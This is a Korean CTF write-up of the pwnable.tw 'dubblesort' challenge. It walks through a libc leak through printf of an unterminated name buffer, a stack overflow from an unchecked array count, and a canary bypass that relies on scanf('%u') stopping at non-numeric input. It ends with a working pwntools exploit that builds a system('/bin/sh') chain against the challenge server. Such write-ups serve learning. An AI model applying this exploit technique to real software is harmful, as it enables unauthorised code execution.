Write-up

[pwnable.tw] dubblesort

ch4rli3kop 2019. 1. 7. 06:00
반응형

[summary]

  • vulnerability index

  • scanf("%u",,) error

analysis

m444ndu@ubuntu:~/pwntw/doubblesort$ checksec dubblesort 
[*] '/home/m444ndu/pwntw/doubblesort/dubblesort'
   Arch:     i386-32-little
   RELRO:    Full RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      PIE enabled
   FORTIFY:  Enabled

다 걸려있습니당 ㅎㄷㄷ;;

매우 간단쓰한 구조를 취하고 있는 문제입니당. main 문에서 숫자 배열을 입력받고, sorting 함수에서 크기 순으로 정렬해주는 구조를 가지고 잇습니다.

main()

__printf_chk(1, "What your name :");
 read(0, &buf, 0x40u);
 __printf_chk(1, "Hello %s,How many numbers do you what to sort :");
 __isoc99_scanf("%u", &sort_num);
 sort_num1 = sort_num;
 if ( sort_num )
{
   number = num;
   i = 0;
   do
  {
     __printf_chk(1, "Enter the %d number : ");
     fflush(stdout);
     __isoc99_scanf("%u", number);
     ++i;
     sort_num1 = sort_num;
     ++number;
  }
   while ( sort_num > i );
}
 processing((unsigned int *)num, sort_num1);
 puts("Result :");

본 문제의 취약점은 위에서 발생합니다. 먼저, __printf_chk() 함수를 통해 스택 공간에 존재하는 값을 leak 할 수 있고, 사용자가 입력한 크기만큼 int 배열에 계속 입력을 받기때문에 bof를 통한 eip 컨트롤이 가능합니다.

__printf_chk()를 자세히 살펴보면

.text:000009F1                 mov     [esp+4], eax
.text:000009F5                 mov     dword ptr [esp], 1
.text:000009FC                 call    ___printf_chk
.text:00000A01                 mov     dword ptr [esp+8], 40h ; '@' ; nbytes
.text:00000A09                 lea     esi, [esp+8Ch+buf]
.text:00000A0D                 mov     [esp+4], esi   ; buf
.text:00000A11                 mov     dword ptr [esp], 0 ; fd
.text:00000A18                 call    _read
.text:00000A1D                 mov     [esp+8], esi
.text:00000A21                 lea     eax, (aHelloSHowManyN - 1FA0h)[ebx] ; "Hello %s,How many numbers do you what t"...
.text:00000A27                 mov     [esp+4], eax
.text:00000A2B                 mov     dword ptr [esp], 1
.text:00000A32                 call    ___printf_chk
.text:00000A37                 lea     eax, [esp+18h]
.text:00000A3B                 mov     [esp+4], eax

esi에는 buf의 주소가 들어가 있기 때문에 [esp+8] 역시 buf의 주소가 들어가 있으며, 따라서 __printf_chk()의 두 번째 인자로 buf%s를 통해서 출력된다고 할 수 있습니다. 대충 24바이트를 주면 끝 세자리가 000인 libc 주소leak 할 수 있습니다.

sorting()

  v9 = __readgsdword(0x14u);
 puts("Processing......");
 sleep(1u);
 if ( sort_num1 != 1 )
{
   v2 = sort_num1 - 2;
   for ( i = &num[sort_num1 - 1]; ; --i )      // 뒤에서부터
  {
     if ( v2 != -1 )                           // 처음으로 다 갔을 경우
    {
       ptrnum = num;                           // 초기화
       do
      {
         first = *ptrnum;
         second = ptrnum[1];
         if ( *ptrnum > second )
        {
           *ptrnum = second;
           ptrnum[1] = first;
        }
         ++ptrnum;
      }
       while ( i != ptrnum );
       if ( !v2 )
         break;
    }

sorting 함수에서는 위에서 만든 int 배열들을 오름차순으로 정렬해줍니다.

대충 오름차순으로 배열을 알맞게 정렬해서 retsystem("/bin/sh")를 실행시킬 수 있도록 chain을 구성해주면 되는데, 여기서 한가지 난관이 존재합니다.

canary의 경우 leak 할 수도 없고, 값을 덮어써서도 안됩니다. 해당 값을 그대로 사용하여야 하는데, 여기서 scanf("%u", buf)와 관련된 버그를 사용할 수 있습니다. scanf()의 경우 지정된 형식문자가 아닌 데이터가 올 경우 입력을 종료해버리는데, 이를 이용하여 canary를 건들지 않고 그 값 그대로 사용할 수 있습니다.

canary가 어떤 값을 갖느냐에 따라 좀 달라지기는 하지만, 많이 시도해보면 정확한 위치에 canary를 위치시킬 수 있습니다..

(before sorting..)

Breakpoint * 0x565a8000+0xab3
pwndbg> x/40wx $ebp-0x80
0xff964918 0x0000002b  0x00000001  0x00000001  0x00000001
0xff964928 0x00000001  0x00000001  0x00000001  0x00000001
0xff964938 0x00000001  0x00000001  0x00000001  0x00000001
0xff964948 0x00000001  0x00000001  0x00000001  0x00000001
0xff964958 0x00000001  0xf7e22940  0xf7e22940  0xf7e22940
0xff964968 0xf7e22940  0xf7e22940  0xf7e22940  0xf7e22940
0xff964978 0xf7f40e8b  0x30a6cb00  0xf7f983dc  0xff964b0b
0xff964988 0x565a8b2b  0x00000000  0xf7f98000  0xf7f98000
0xff964998 0x00000000  0xf7e00637  0x00000001  0xff964a34
0xff9649a8 0xff964a3c  0x00000000  0x00000000  0x00000000

(after sorting..)

Breakpoint * 0x565a8000+0xaf9
pwndbg> x/40wx $ebp-0x80
0xff964918 0x0000002b  0x00000000  0x00000000  0x00000000
0xff964928 0x00000000  0x00000000  0x00000000  0x00000001
0xff964938 0x00000001  0x00000001  0x00000001  0x00000001
0xff964948 0x00000001  0x00000001  0x00000001  0x00000001
0xff964958 0x00000001  0x00000001  0x00000001  0x00000001
0xff964968 0x00000001  0x00000001  0x00000001  0x00000001
0xff964978 0x00000001  0x30a6cb00  0x565a8b2b  0xf7e00637
0xff964988 0xf7e22940  0xf7e22940  0xf7e22940  0xf7e22940
0xff964998 0xf7e22940  0xf7e22940  0xf7e22940  0xf7f40e8b
0xff9649a8 0xf7f98000  0xf7f98000  0xf7f98000  0xf7f983dc

exploit

#! /usr/bin/python
from pwn import *

r = process('./dubblesort',env={'LD_PRELOAD':'./libc_32.so.6'})
r = remote('chall.pwnable.tw', 10101)
#context.log_level = 'debug'
#gdb.attach(r) # 0xab3 0xaf9

r.sendlineafter('What your name :','A'*24)
r.recvuntil('A'*24)
leak = u32(r.recv(4))
libc_base = leak - 0x0a - 1769472
success('libc_base = '+hex(libc_base))

system_addr = libc_base + 239936
binsh_addr = libc_base + 1412747

log.info('system_addr = '+hex(system_addr))
log.info('binsh_addr = '+hex(binsh_addr))

r.sendlineafter('do you what to sort :','43')

for i in range(16):
   r.sendlineafter('number : ','1')

for i in range(7):
   r.sendlineafter('number : ',str(system_addr))    
r.sendlineafter('number : ',str(binsh_addr))    

r.sendlineafter('number : ','h')    

r.interactive()


반응형

'Write-up' 카테고리의 다른 글

[pwnable.tw] applestore  (0) 2019.01.07
[pwnable.tw] calc  (0) 2019.01.07
[pwnable.tw] hacknote  (0) 2019.01.07
[pwnable.tw] orw  (0) 2019.01.07
[pwnable.tw] silver_bullet  (0) 2019.01.07